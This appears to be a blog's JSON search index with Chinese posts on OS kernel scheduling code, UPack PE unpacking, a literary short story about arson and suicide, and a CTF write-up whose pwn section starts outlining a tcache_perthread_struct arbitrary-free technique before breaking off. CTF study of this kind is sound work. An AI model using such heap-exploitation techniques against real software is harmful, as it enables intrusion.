(uint32_t)palloc(&kernel_pool); *pde = (pde_phyaddr PG_US_U PG_RW_W PG_P_1); memset((void*)((int)pte & 0xfffff000), 0, PG_SIZE); ASSERT(!(*pte & 0x00000001)); *pte = (page_phyaddr PG_US_U PG_RW_W PG_P_1); // US=1,RW=1,P=1 }}\n\n    虚拟地址是根据位图进行分配的,如果每个进程都存在一个位图的话,这里就可能出现相同的虚拟地址,但page_table_add函数是根据虚拟地址来获取pde和pte的,则相同的虚拟地址必然会出现冲突。因此本节并不是在解决这个问题,上面的函数实际实现的是平坦模式下单任务系统的内存分配,也就是在虚拟地址不会出现重复的情况下,为用户和内核分配内存以供其能够动态调整内存的使用。所以这里的”虚拟地址“是 ”无物理地址直接映射的虚拟地址“,而不是 ”虚拟内存空间中的虚拟地址“。理解这一点以后,本节就应该没有其他问题了。\n    page_table_add的逻辑是:\n\n通过虚拟地址得到此地址会被换算到的PDE和PTE\n如果页目录已经有对应的页表,那么直接把页表项填入物理地址即可建立映射\n如果页目录本项还未映射到具体的页表,那就申请一块内存页作为新的页表把它写在此PDE处,然后在新页表出写入物理地址\n\n        不过读的时候还在好奇为什么能用pte去当memset的参数,其实只需要记住pte是一个虚拟地址,是算出来的,在传入memset的时候还会在MMU中重新计算即可。\n\nPART 3总结:\n\n    本节最终实现的是一个简化的平坦模式下内存分配器。建立的也只是平坦模式下的虚拟地址和物理地址间的映射管理。并未涉及 ”虚拟内存“ 的概,所有地址都应该保证不重复,否则会像double free那样出问题(此处会直接kernel panic)\n    同时,我们用的是”虚拟地址“,只需要记住我们用到的地址大多都是虚拟地址即可,就不容易出错了。\n\n琐碎:\n    可能是因为这几天状态很糟糕,每天都处于严重的睡眠不足的情况导致的(春节期间的麻烦太多了),脑子在看书的时候很难集中注意力,以至于会意错了作者的意图……\n插画ID:77309888\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter9 笔记与注意","url":"/2022/02/06/systemkernel-chapter9/","content":"\nPART 1\n问:进程和线程的关系是什么?\n答:进程=线程+资源\n\n    本书第一节用非常冗长的语言描述这个问题。但总而言之归纳几点就是:\n\n线程是操作系统调度的基本单位\n进程=线程+资源\n线程是一个 “执行流” 概念,不需要过多去解读这个词语。\n出于上面一点,能将所有程序分为 “单线程进程” 和 “多线程进程”。即普通的未使用线程功能的程序也能算作 “单线程进程”\nLinux系统下称进程为 “任务”(Task) ,但进程和线程是概念性的事物,而任务是实现上的结果,不需要过度去在意其称呼。\nLinux下的线程实现来自于POSIX线程库,自Linux2.6以后,因为NPTL的成功,该方案支持的线程的内核级的。只有一些古老的版本会有用户级线程\n\n\n本节也提到了所谓 “上下文” 的概念:程序代码执行所依赖的 寄存器映像 和 内存资源。后者一般指的是堆和栈。\n\n\nPART 2    本章后半部分笔者曾在《深入Linux内核架构》中了解到些许,但对其实现十分费解,这次算是对实现也清楚一些了。但本章还留有一些问题,本书作者表示会在chapter 10解决它,但我目前还不清楚我遇到的问题是不是就是作者所说的,或许有一点偏差,但具体还要等笔者看完第十章再做评价。\n    首先是Linux架构里所用的“任务”PCB:(注释就不删了,个人觉得还对本章掌握的有点模糊,留着以后有问题了再看)\nstruct task_struct { uint32_t* self_kstack; // 各内核线程都用自己的内核栈 enum task_status status; char name[16]; uint8_t priority; uint8_t ticks; // 每次在处理器上执行的时间嘀嗒数/* 此任务自上cpu运行后至今占用了多少cpu嘀嗒数, * 也就是此任务执行了多久*/ uint32_t elapsed_ticks;/* general_tag的作用是用于线程在一般的队列中的结点 */ struct list_elem general_tag; /* all_list_tag的作用是用于线程队列thread_all_list中的结点 */ struct list_elem all_list_tag; uint32_t* pgdir; // 进程自己页表的虚拟地址 uint32_t stack_magic; // 边界标记,用于检测栈的溢出};\n\n    内核为支持多任务需要自己维护一张链表来让任务间能够切换。以PCB中的ticks代表时间片,每次时钟中断时将消减当前PCB中的时间片,在为0时进行一次调度(此前需要先关闭中断,以防止调度器被自己调度)。\nvoid schedule() { ASSERT(intr_get_status() == INTR_OFF); struct task_struct* cur = running_thread(); if (cur->status == TASK_RUNNING) { ASSERT(!elem_find(&thread_ready_list, &cur->general_tag)); list_append(&thread_ready_list, &cur->general_tag); cur->ticks = cur->priority; cur->status = TASK_READY; } else { } ASSERT(!list_empty(&thread_ready_list)); thread_tag = NULL; // thread_tag清空/* 将thread_ready_list队列中的第一个就绪线程弹出,准备将其调度上cpu. */ thread_tag = list_pop(&thread_ready_list); struct task_struct* next = elem2entry(struct task_struct, general_tag, thread_tag); next->status = TASK_RUNNING; switch_to(cur, next);}\n\nswitch_to: ;栈中此处是返回地址 push esi push edi push ebx push ebp mov eax, [esp + 20] ; 得到栈中的参数cur, cur = [esp+20] mov [eax], esp ; 保存栈顶指针esp. task_struct的self_kstack字段, ; self_kstack在task_struct中的偏移为0, ; 所以直接往thread开头处存4字节便可。;------------------ 以上是备份当前线程的环境,下面是恢复下一个线程的环境 ---------------- mov eax, [esp + 24] ; 得到栈中的参数next, next = [esp+24] mov esp, [eax] ; pcb的第一个成员是self_kstack成员,用来记录0级栈顶指针, ; 用来上cpu时恢复0级栈,0级栈中保存了进程或线程所有信息,包括3级栈指针 pop ebp pop ebx pop edi pop esi ret ; 返回到上面switch_to下面的那句注释的返回地址, ; 未由中断进入,第一次执行时会返回到kernel_thread\n\n    调度函数中用作切换的switch_to是由汇编语言编写的。其过程为:\n\n保存现场 > 切换栈帧 > 恢复现场 > 返回线程\n\n    之所以ret对应了返回地址,是因为上一个线程在被调度时调用了schedule将自身保存在自己的栈中,在切换回原本的栈帧以后便能够重新恢复。\n\n注:kernel_thread中会先打开中断,然后跳转到对应线程。\n\n    不过因为内核自己也是一个进程,所以在开始调度之前应该先为内核本身生成PCB:\nstatic void make_main_thread(void) { main_thread = running_thread(); init_thread(main_thread, "main", 31); ASSERT(!elem_find(&thread_all_list, &main_thread->all_list_tag)); list_append(&thread_all_list, &main_thread->all_list_tag);}\n\n    另外再注册时钟中断函数:\nstatic void intr_timer_handler(void) { struct task_struct* cur_thread = running_thread(); ASSERT(cur_thread->stack_magic == 0x19870916); // 检查栈是否溢出 cur_thread->elapsed_ticks++; // 记录此线程占用的cpu时间嘀 ticks++; //从内核第一次处理时间中断后开始至今的滴哒数,内核态和用户态总共的嘀哒数 if (cur_thread->ticks == 0) { // 若进程时间片用完就开始调度新的进程上cpu schedule(); } else { // 将当前进程的时间片-1 cur_thread->ticks--; }}\n\n    多嘴一句,中断默认情况下是关闭的。且每次进入中断以后,处理器会自动关中断,直到执行“iret”指令或者手动开启中断(本质上应该是恢复eflags寄存器)。\n    所以schedule函数第一行能够成立:\nASSERT(intr_get_status() == INTR_OFF);\n\n    一般的中断调用结束时会调用iret指令恢复eflags寄存器来重开中断。所以一个隐蔽的情况是:(其实调试一下应该就能明白)\n\n调度程序的switch_to函数第一次调度时返回到kernel_thread,在该函数中开启中断;而在此后的调度中,会返回到jmp intr_exit指令出,在之后的iret指令下恢复eflags寄存器,从而开启中断。\n\n插画ID:75919964\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"UPack PE文件分析与调试","url":"/2021/03/06/upackpe/","content":"    参考文章:https://blog.csdn.net/learn112/article/details/112029389\n    您可以将本篇文章当作该参考文章的拓展版、翻译版、压缩版,总之算是结合之后自己上手的过程记录。若您发现文章中出现错误,请务必指正。\n    封面插图id:81508349\n    范例:notepad_upack.exe\n    准备工具:010Editor、Stud_PE\n    UPack:个人对其理解为一种压缩方法。将文件经过一定的算法编码压缩,在启动被压缩文件时将会按照逆过程解码。而其中比较经典的是其对PE文件头的压缩。我个人对这个过程的理解就是——将PE文件头原有的为可读性设计的格式打乱,在那些本不被用到的地方填补上需要用到的数据,最后将导入表等需要记录地址的数据改为那些本来不被使用的段落,以此减少空间浪费,但文件头不再拥有设计好的模板,最后阅读的时候会显得东拼西凑(指那些virtualaddress到处指,但是我觉得就算没压缩,看的时候还是感觉很乱就是了)……\n​​\n    上面两图分别为经过UPack压缩和未经过压缩的notepad.exe文件。在010的模板中可以明显看出其区别,至少010已经没办法识别出Section和SectionHeaders(实际上也识别出了节区头,但这个识别结果是错误的,在Upack压缩的PE模板里,NtHeader以下部分都会出现错误。)\n​​\n    而上图为Stud_PE分析出的区段结果,也有着明显的差异。(但既然分析的是压缩后的文件,所以还是以后图为准。但目前编者还不会直接通过阅读16进制文件来推算偏移、大小等(upack压缩后的被打乱了位置,没了模板就读不来的废物),所以目前还需要用到该工具)\n    以及还有一些奇怪的地方,在压缩后的文件中,第一和第三节区的实际偏移相同,实际大小相同,实际上是UPack压缩后产生的重叠节区。\n    (最后映射到内存中时,第一和第三节区会分别映射到不同的位置——1001000、1015000、1027000三处)\n    回到正题,首先观察下图。4D5A为签名,然后紧跟着就是KERNEL32.DLL,这个名字显然就是动态链接库的名称了。对比未压缩的文件,这个区域本来是无用的区域,所以用其他有用的东西填进去以弥补了空间浪费。\n​\n    另外一个需要注意的是,AddressOfNewExeHeader的数值被改为了10,这个数值在本来的文件中为E0。\n    DOS存根直接消失了,在模板中点开该栏后什么也没有。\n    以及Nt头中SizeOfOptionalHeade由E0增加到了148。\n​\n    但我们实际打开可选头的模板,010显示其大小为B0,并且NumberOfSections被降到了0A,少掉了6个数组(如图中蓝色区域为现存的表,而蓝色以下的紫区为被忽略的表,正好有6个被忽略了)。\n    (注:在实际中,16张表的数量其实是固定的,但有可能我们还需要用到更多的数据,这16张可能不太够,所以往往还需要另外输入NumberOfRvaAndSize的大小来规定该结构体内容的量)。\n    并且可以注意到,可选头从28开始,大小为148,但其结束点却只到D7,而不是170。\n    于是这些被扩增的区域实际上存放了UPack的解码代码(如图蓝色部分,但010的识别多了一行,还是忽视的比较好)\n​\n(反调试器中的该段位置对应的汇编代码)(ImageBase[1000000]+VisualOffset[1000]+D8=10010D8)\n​\n    接下来尝试计算文件实际的EP。\n​\n    AddressOfEntryPoitn为1018,VisualAddress为1000,而PointerToRawData在010中已经找不到了,从节区头开始,模板都是错误的,而该数值就在节区头中。\n​\n    猜了一下其位置,大致在这个蓝色加深的位置,但实际上手去找还是不太行。现在姑且当其为10。那么计算结果应为1018-1000+10=28\n​\n    跟入之后发现并不是动态链接库的名称。该盲区出自于这个PointerToRawData的数值和FileAliganment不成倍数(指其不为0/200/400/600/……)\n    (此处参考:http://blog.sina.com.cn/s/blog_1511e79950102xcws.html  之所以要有这种倍数关系,还是因为PE文件的对齐规范)\n    所以最后应把其当作0开始一个个试错,本例中1018-1000+0=18就已经得到答案了。\n​\n    (但这里遇到了一些奇怪的问题。不论在x32dbg还是ollydbg中,只要移动光标后,1001018处地址就会消失,被1001017取代,并且再也无法找回)\n    (不过我的Ollydbg在打开文件的时候就会自动加载到该位置,所以该问题暂时还无需顾虑……)\n计算导入表:\n​\n    VirtualAddress为271EE,对应第三区段,实际偏移RVA为271EE-27000=1EE\n​\n    (IMAGE_IMPORT_DESCRIPTOR结构体大小为6个DWORD类型数据,对应蓝色区域)\n    跟入02位置,即可见到刚才所说的kernel32.dll的名称。\n    (注:“该结构体之后既不是第二个结构体,也不是NULL结构体。实际上到从1EE~200便是第三节区的结束。运行时偏移在200以下的部分不会映射到第三个节区内存。”)\n    (01FF[第三节区]————27000271FF,而27200~28000则全由NULL填充)\n    以及11E8为IAT,换算后得到11E8-1000+0(同上计算盲区一样)=1E8(下图即为转入后数据。对应IAT域,也作为INT使用,也用NULL结束)\n​\n​\n调试:\n​\n    在图示附近存在存在一个大循环,观察堆栈信息猜测其为程序的解码过程。\n​\nCtrl+F7自动步进调试,最终卡在该处。将数据循环写入ESI当前位置,判断其真的是一个解码过程。至此完成调试。\n","categories":["Note","逆向工程"],"tags":["pe结构","upack","加密与解密"]},{"title":"红葡萄酒之疫","url":"/2021/02/08/wineepidemic/","content":"序言:\n 这个故事发生在一座名为“瑞蒂克洛斯”的城市。那里具体发生了什么我也不太清楚,但我有幸目睹了那场混乱的片段(我并不太清楚到底从哪个时间点开始才能算作算开端,所以不清楚自己是否得知全部的细节)。我既是旅人也是小说家,但本职或许是个记者,偶尔会写写报道和小说什么的,于是我觉得自己应该为这个人写点什么。哪怕我既怠惰又无能,也想把这份不被称为艺术的艺术留下。于是,就有了这么一则灰白色的故事。\n正文:\n 认识他的人,都说他是败类,是人类的残渣,可事实上,谁都没有这么说过。人们从没把他当一回事,只是热衷于对他犯下的恶行进行批判罢了。或许,这就是这座城市的潮流。\n 我无法欣赏他的艺术,更无法认同他的美学。但我又不得不承认他是正确的,是这世上独一无二的正确,是能让我甘愿却又无法为其牺牲的正确,是一种错误的、歪斜的正确。也许就是因为他太正确了,正确到人们无法理解、无法欣赏,所以他现在才会在那个地方——那个用以处决的高台……\n 大街小巷里灌满了报纸,上面刊登着各种各样的言论。这些东西改头换面的速度甚至比夏季的亚马逊河的流速还快。也许今天随手捡起的报纸上刊登的是柏拉图主义文章,明天就会有刊登着努斯底主义的报纸淹没人潮。从农村里出来的小伙子总是被这份热情吓到。惊呼出“难道住在这的人全都是思想家吗!”这种荒谬言论。\n 但那也是理所当然的,论谁看到了这样的景象,都会感到不可思议吧。街道上的行人、学校里的老师、甚至是酒馆里的醉鬼,都无时无刻不在向周围的人灌输自己的一套理论。他们也会向不同的人寻求意见来为自己的观点树立威信,但在矛盾冲突时总是不可避免的发生暴力事件,只不过最后往往会演变成数量上的比拼——谁的信奉者更多,谁往往就能够在打斗中胜出,像极了奴隶主之间的斗争。\n 就是在这样一个虚伪的崇尚思考的浪潮中,他不得不摇摇晃晃地,拖着肿胀的腿,在沸腾的声浪中寻求一份安宁。\n 但那是不可能的。他抗拒着一切外来的虚假与雍容,却饰演着一个传递思想的平庸信使。这是荒唐且可笑的,是他最厌恶也最无可奈何的现实;是他过去曾渴求的、憧憬的,也是过去的残片一一应验的结果。可他现在已经老了,变得沧桑且老迈。摆脱了名为“年轻”的束缚,他舍弃了自己的热情,变成了旁人不可理喻的样子。\n 但就连他自己也没想到,他会变得如此疯狂、如此无拘无束……\n 他不久前刚刚辞去了报社的工作成了街边的无业游民。同乞丐不同的是他没必要睡在桥洞或地下通道里。他是精明狡猾的狐狸,尽管他现在讨厌这种行为,却不得不承认手上握着的股票债券以及长久的积蓄救了他的命。但这有些夸张了,事实上,这些钱已经足够他阔绰地过完余生了。\n 靠着这些积蓄,他现在有着充足的时间去享乐了。他可以一天到晚都泡在酒吧里,也可以在游乐场像孩子一样闹腾,可他却是无趣的、不知享乐的囚犯。他压抑自己的欲望,给自己的手脚戴上镣铐,又将自己摔的七零八碎,让自己不再完整,只是终日郁郁寡欢,却又不知悔改。他无法忍受人群的喧闹,无法接受这股横行的潮流。他会走在街上,又或是坐在公园的长椅上,他会在那里和别人谈论自己的理念,阐述其深刻的道理。可街道的背景音乐是他没听过的曲子,是轻浮而俏皮的舞曲,而不是夜曲,更不是第九交响曲。人们大抵都没有明白他的理论和思想,只是在对自己的理想夸夸其谈,将某种主义的正面意义描述的天花乱坠,却对其负面影响视而不见,又或是根本就不清楚这借来的东西其真身究竟是什么,只是在复述上一个狂热的信徒的言语也说不定。因此,这里没有人会和他聊天。\n 于是他变得更加的忧郁,更加的抗拒这种廉价的浪潮。在他眼里,也许每一种主义都在这座城市里变得廉价,相当于一份土豆烩饭。人们像呼吸和进食一样习惯着这种廉价的思考,站在认同与否决的边界,跟随群众一起来回辗转。而他只能在一旁看着,因为别人的奴隶不能和其他奴隶主搭话。\n 他只能一个人欣赏那些老旧的艺术。有一次,他把自己关在房间里,整日沉浸在音乐与诗画的世界里,结果到了傍晚,他便冲出房间,在厕所里吐掉了午饭。那一天,他整日都没怎么喝水,午饭也不过是几块干涩的面包。他只是小心翼翼地把几天前残留的羹汤吮吸干净,然后在这密闭的房间里忘我一整天。他本以为精神上的富足能够抵挡物质上的匮乏,可那种恶心感却轻易地摧毁了他的美梦。这时他才发现,自己已经老了,已经不再为歌德而着迷了。他没法再像曾经一样,连着数日都沉醉在那醇厚的艺术中了。\n 可即便如此,他的艺术却仍是细腻而沉重的,是这个时代没有必要的繁冗,即便他已经不再着迷于那些老旧的艺术。他发现自己厌烦了对自己来说一成不变的调式,对贝多芬、莫扎特、柴可夫斯基开始不闻不问;他开始惧怕梵高和达芬奇的作品,对墙上挂着的油画视而不见;他不再关心那些堆积成山的书籍,对雨果和托尔斯泰视若无睹。所有被人们称之为经典的艺术作品,他都一一欣赏过。这些东西堆积在他的脑袋里,让他越来越严肃,越来越不快乐,让他以为艺术就是要有那般庄严肃穆。摒弃了一切诙谐和欢快,他要求焦土上的生灵为痛苦而歌,要求高筑冰冷的城墙去守护伊甸;他还要求金黄的麦浪能掀来残阳的余温,要求昏黑的雪夜会有无家可归的孩子在桥洞里颤抖。因此,他对这座轻浮的城市感到不可理喻,感到愤慨,对一直身处在繁华世界的自己感到无趣。\n 于是他逃走了,乘着列车逃到了僻静的村庄,在那里盖了座小屋。村民们欢迎这个知识渊博的先生的到来,但他却将这些热情全都回绝,过着和原先一样闭门不出的生活。他没有带任何作品,也不做任何装饰,这让屋子显得格外清贫,不像活人的住所。\n 他什么都没带,没有那些艺术的陪伴,他觉得自己仿佛少了些什么。无所事事的瘫倒在床,思考着自己的艺术究竟是什么。可一个星期之后,他只弄明白了一件事——自己和孤独不能相溶。他觉得此刻的自己比街边的流浪狗还落魄,缺乏了对生的渴望,只因为还能活一段时间才活着。他用以麻痹自己的艺术没有带来,自己也从未有过什么朋友,就像是把自己丢进了肮脏的水坑一样,缠着怎么洗都洗不掉一股恶臭。\n 于是他想沉沉睡去,却被一张烟花海报扯出梦境。海报与那些报纸一样单调,让他越是回想就越是痛苦。他恨不得现在就把海报揉成纸团丢出窗外,又或是用打火机将它在烟灰缸里点燃,可他颤颤巍巍地不知道该做些什么。\n 混乱与麻木纠缠着他的思想,让它动弹不得。望着一张尘俗的海报都看得出神,却不过是在发呆罢了。与那些只知复述的奴隶一样,他越来越不懂得思考。愚昧把他拉进深海,让他忘记自我成为木偶。直到他回过神来,才发现自己此刻沦为了城市的奴隶,被怠惰与庸俗卡住了思考。摔碎茶杯也排解不了他的愤怒,强行保持镇定的表情也藏不住隐约扭曲的嘴角,他为自己的无能愤怒不已,却又无可奈何。\n 于是他踏着月光,寻着海报上的地址来到了镇上的一家咖啡厅。他知道现在做什么都无济于事,所以他刻意不去留意自己的情感,只是随意地在街上乱逛,希望时间能够慢慢抚平这份不满,碰巧走进了这里罢了。\n 空旷的咖啡厅和他的房间一样无人光顾。随意地点了一杯咖啡,坐在角落的空位上,他第一次尝到了咖啡的香醇与酸涩。那是与酒精截然不同的味道,让他离梦境越来越远,也越来越清醒。他停滞的脑袋又再次开始运作了,在苦涩的鞭策下恢复了神志。仅靠一杯咖啡就能阻止的堕落是何等的廉价,所谓的出逃与争论在这杯咖啡面前都显得渺小。\n “也许我只是需要酒精和咖啡的混合饮料而已吧。”他如此自嘲。\n 可潜逃虽是孤独的,思考却仍是悲伤的。在拾回遗弃的思考之后,他又重新觉得悲伤。兽性与本能在理智的抑制下,让他觉得赴死并不是多么可怕的事情。喜悦与麻木渐渐远去,他忍受着疼痛端坐桌前,却不知该思考些什么了。分明已经取回了思考的能力,却被世界抛在了臭水沟。忧郁与沉默再次笼罩他的周遭,他盯着寂静的街道看得出神。\n “轰!”\n 一声巨响为他的死寂掀起波浪,紧接着伴随着人群的呼喊与警笛声为这场闹剧拉开帷幕。\n 天空被火焰烧成橘红,滚滚黑烟涌出巨塔。整座大楼成了一把火炬,火光下的人们旁观着、吆喝着、奔走着、溃散着。人们不再抓住对方的衣襟怒吼,也不再关心脚底下的协议,现在他们只关心这把火炬会烧到什么时候,灰烬中能不能淘出点金币罢了。而消防车被堵在街的尽头,冲进大楼里的不是消防队,而是那些可怜的乞丐、失业者和各种各样的穷人。母亲把怀中的孩子丢在一旁冲进火海,乞丐扔下破碗闯入大楼。看呐!从角落溜走的盗贼怀里揣着的是本该被烈火烧毁的丝绸!而接二连三奔出的穷人们都揣着那终于属于他们的财宝!会被问罪吗?并不会。那些本该被大火带走的东西,只不过是换了一种方式消失在视线的边界。\n 而他站在大楼底下,痴痴地望着火焰窜上天际。撒下的黑灰掉进眼里,他闭上半只眼睛,却不愿低头,生怕错过了什么似的。就连他自己都没意识到,自己此刻正沉醉于这副美景。这是他梦寐以求的艺术,是他人生的写照,他现在只想成为废墟,将这副美景刻进骨骼,让它在血液中奔走……\n 距离那场被称之为意外的火灾,已然过去了半年。整座城市的思考越发脱离地面,高筑起宏伟的空中楼阁。思想的价格正在飞速下滑,铺天盖地涌来的都是报纸和杂志。这里整日都是游行与示威,终日都在争辩与修饰,只有环卫工人在抱怨生活艰苦,堆积的废纸怎么也扫不干净。\n 而这份长久的烈焰终于略显疲惫,在人们的热情之下是喘息和大汗淋漓。他们高举着牌子,置身在朝阳之下煎熬。尽管他们不曾抱怨这份艰辛,却也不再为伸张正义感到自豪了。他们早已在这份长盛不衰的热烈中褪去的荣光,甚至分不清东西南北。现在的木牌上还写着自由万岁,半个小时后就光明正大地进到了修正革新的队伍中。而当天完全亮了,街上又看不见这群疯子了。当他路过工厂的时候,发现刚才举牌子的年轻人现在正利索地车着工件,完全看不到刚才的热情。这份荒谬简直越发难以理解了。\n 直到那天晚上,那个被叫做“圣诞节”的晚上,街道上不再有人喧闹,让人仿佛产生了神圣的错觉。宛若海市蜃楼般折射在这座城市上的映像像极了五十年前的乌托邦的和睦,像极了他还未诞生的世界。漫天飘散的不再是报纸,而是一幅幅轻浮的海报和短篇故事。它们混杂在金黄色的碎屑和烟火的灰烬之中,从一座座拔地而起的尖塔顶端向着水泥和空虚的远方飞舞。\n 他们没有燃烧,更不可能染上殷红,可却比教条更加吸引人,比主张更加深入人心,比报纸更加夺人眼球,比抗争更加轻松愉悦。这是一份份不加思考的余孽,是他倾尽所有下的垃圾,是淹没这座城市的洪流,是抚平纷争的麻药。\n 他确信,人们也证实了,都市传说要比英雄传记更受人欢迎,虚幻故事比虚无主义更加简洁明了。人们会爱上小说里的乞丐,会敬佩故事里的流浪汉,却绝不认同和怜悯现实里的落魄之人。这座轻浮而辉煌的空中监狱正被故事与传说拽向地面。仅靠这数百篇荒谬故事与略加修正就变成新奇设计的海报就将它轻而易举地掩埋了。他舍弃了庄严肃穆,舍弃了雍容华美,他将自己浸泡在痛苦与煎熬之中,让思想发酵腐烂,以适应人们那庸俗的娱乐。他只珍藏了一部老旧的相机,以及一份源于火灾的幻梦。\n 这些传说仅花了一个星期就占据了城邦。长久以来都提心吊胆的政府终于松了一口气,因为民众已经沉醉于娱乐的迷幻,而不是高举革命的大旗了,他们也不再迫切于回应人们的胡闹,可以将在这块思想肆虐之后的废墟上再次修筑高楼。\n 自此,他将比虚无更虚无、比迂腐更庸俗的废纸散入人心,让他们欢呼、让他们为愉悦呐喊。然后落幕再开幕,开幕之后再落幕。此刻的他不再渴望那份神圣,是幻梦在为他引路。\n 那是一个无比落寞的夜晚,仅对他来说是这样。于他以外的所有人,恐怕都陷落在恐慌或是狂喜,又或是两者都有的泥沼中。他们挣扎、他们高呼,他们攥紧手中的钞票而对飞舞的焰星视而不见。\n 但他们仍是无所事事的僵尸与傀儡,一声巨响却将他们从催眠中扯出。绚烂的焰火点燃高楼,一声声轰鸣坍塌了基座。天空中撒下的无数玻璃碎屑折射出点点星芒,那是幻觉、是火星,还是那不可视的界限。伴随在碎屑之中起舞的钞票在空中更是比蝴蝶还要动人,漫天飘舞的都是人们的梦想与希望。信号塔底的人们沸腾着,疯狂地争夺着残渣。他们闯入烈焰,与烈焰争夺燃料;撕扯同类,与同类争夺燃料。消防车驶不过人海,更没有人能拯救被践踏的尊严。抵挡这股冲动的警察,现在更是在他们脚下。流浪汉和乞丐匍匐,用身体去揽住烟酒,祈求在人们的践踏下幸存。他们痴笑的表情与此刻的普通人无二,口齿不清却想要表达欣喜,胀得通红的脸颊中混着一丝挤兑的苍白,嘴唇泛起淤青的紫色,眼中充斥亢奋的血丝。他们的表情与其他普通人一样,此刻大家都是疯子,不分高低贵贱。\n 城市中的大火越发旺盛了,几乎把整个城西都点燃了。他站在最高的楼顶,俯视着底下的蝼蚁相互夺食。他打开怀表,那本该是一枚银白色的怀表,现在却在火焰的映照下变成橘色。现在是深夜的十一点,还有五分钟就要迎来十二点的落幕了。他将银怀表挂在满是抓痕的脖子上,又披上了自己最心爱的黑色风衣,戴上一顶黑色的礼帽,顺手将最后的礼物洒下。\n 他的呼吸逐渐急促,思考也渐渐终止。他的灵魂在这一刻与所有人共鸣,他的历啸传遍整个城西。此刻的他只想成为废墟,成为在烈火中凋谢的昙花。他一跃而下,伴随午夜十二点的钟声,在这片虚无中消逝。他的残渣将遍布这座城市,他的疯狂将根植所有人内心。目睹他疯狂的人一个也没有,但这枚种子却被珍藏在相片里。那张照片决不是他艺术的顶峰,却会是无人企及的深海。它没有其他颜色,黑白交织而成的画面却堪比真实。苍白的火焰簇拥着坠落的他,银色的怀表闪烁着微弱的光,黑压压的人群相互挤兑,一只乌鸦掠过镜头。在这短暂的数秒之内,最后一篇故事诞生了。\n 它没有什么价值,至少远不及它的作者,但所有的故事都在这个悬空里画上句号了。只有这一个符号,在他整段长达五十年的人生中,只有这一个符号,是他自己标上的。而在我这不过十年的旅途中,只有他一个,我见过的所有人当中,只有他一个,被隔绝在世界之外,却把整个故事写进了墙内……\n后记:\n那部相机最后是我回收的。它就架在这条街的拐角处的露台上,正好能将他跃下的侧面拍下。我不得不感叹他的勇气与智慧,更该为他的好运庆幸。谁都不能保证照片最终能以完美的状态被拍下,可他依然这么做了。\n我们并没有碰过面,更没有实际交流过。或许这一切都只是我的臆想和愿望,希望他是我所期望的人,但这都无关紧要。我毕竟没能与他讨论艺术,自然也不可能明白他所期望的结局是什么样的,但他的作品无论有我没我,都早已完成了。哪怕多出这么一片关于他的故事,想必也不会有任何改变吧。\n只是我在那之后很快就离开了那里,由的于工作原因,我必须漂泊于世界各地,于是他的照片迟迟没能发布,现在也被珍藏在瑞蒂克洛斯——他曾经的住所中。\n——糜鹿手记\n","categories":["Story"],"tags":["故事","短篇"]},{"title":"TQLCTF-RE/PWN复现报告","url":"/2022/02/25/tqlctf-re-pwn/","content":"RETales of the Arrow在遇到这题以前甚至都没接触过2-sat问题,所以这次也对这个问题做个概述吧。\n以下内容摘自OI WIKI:\n\n2-SAT,简单的说就是给出 n个集合,每个集合有两个元素,已知若干个,表示 a与 b矛盾(其中 a与b属于不同的集合)。然后从每个集合选择一个元素,判断能否一共选n个两两不矛盾的元素。\n\n而本题关键如下:\ndef get_lit(i): return (i+1) * (2*int(bits[i])-1)for t in range(N): i = random.randint(0,n-1) p = random.randint(0,2) true_lit = get_lit(i) for j in range(3): if j == p: print(true_lit) else: tmp = random.randint(0,n-1) rand_true = get_lit(tmp) if random.randint(0,3)==0: print(rand_true) else: print(-rand_true)\n\n每轮打印比特流中的随机三位的比特状态,但这个状态有可能会取反。且取反与否发生的概率是0.5。\n一开始是3-sat问题,每轮必有一个数是真实状态,另外两个数则可真可假。但3-sat是NP完全问题,基本属于不可解。所以首先我们根据明文的特殊条件消除不确定性。\n因为字符串必定是可打印的字符串,其由ASCII码组成,最高位必定为0。那么这一位的状态必定是负数,如果打印出该位的状态是正数,则表示它并非必然真值,那么该组数据中另外两个必有一个为真。如果将所有带有上述情况的组别取出,问题便被缩减到2-sat,即必有一真,另一者可真可假。\n2-sat问题存在多项式解法(这是结论,笔者并没有证明过),即在数据量足够的情况下,该问题会有唯一解。本题一共给出了5000组数据,符合本条件。\n而本题之后的解法也很朴素,在二选一的条件下,如果又出现了“必为负数”的位被以正数打印出来,那么最后一个数就必定真值了,将所有确定真值的位全都统计下来,就能还原完整的比特流。\n参考Nu1L发布的WP自己改的:\nf = open("output.txt") n = int(f.readline().rstrip('\\n'))N = int(f.readline().rstrip('\\n'))x=[]for i in range(1,5000): x1=int(f.readline()) x2=int(f.readline()) x3=int(f.readline()) x.append([x1,x2,x3])true_numer=[]for i in range(n//8): true_numer.append(-8*i-1)flag=[]for i in range(n): flag.append(0)for i in x: if(((-i[0] in true_numer) + (-i[1] in true_numer) + (-i[2] in true_numer))==2): count+=1 for j in range(3): if((i[j] not in true_numer)and(-i[j]not in true_numer)): true_numer+= [i[j]]for i in true_numer: if(i<0): flag[abs(i)-1]=0 else: flag[i-1]=1flag_text=""for i in flag: flag_text+=str(i)print(bytes.fromhex(hex(int(flag_text,2))[2:]))f.close() \n\n## PWNunbelievable_write任意地址free,没有泄露,没有PIE,本该是道简单题,结果做了一整天……看完官方WP之后发现自己还是想的太少了,不过我自己的方法姑且也打通了,所以先从笔者的方法开始吧。\nlibc版本是2.31,已经有tcache了。因为此前我很少接触这个部分,所以这次记的详细一些(个人其实不太愿意在需要之前主动去掌握利用方式,这看着有些像是在“为了利用而利用”)。\n程序逻辑这里不再复述,唯一值得注意的就是,它会很快就把本轮开辟的chunk释放掉,所以很难在Bin中布置chunk。\n任意地址free允许我们直接把tcache_perthread_struct释放,其结构如下:\ntypedef struct tcache_perthread_struct{ uint16_t counts[TCACHE_MAX_BINS];//TCACHE_MAX_BINS=64 tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;typedef struct tcache_entry{ struct tcache_entry *next; struct tcache_perthread_struct *key;} tcache_entry;\n\n可知该结构体大小为0x290,且能够控制Tcache bin的各项数据,包括链表和计数。\n所以我们首先把它释放掉,然后向其中填充数据:\n#首先我们先开辟一个chunk让它放到tcache 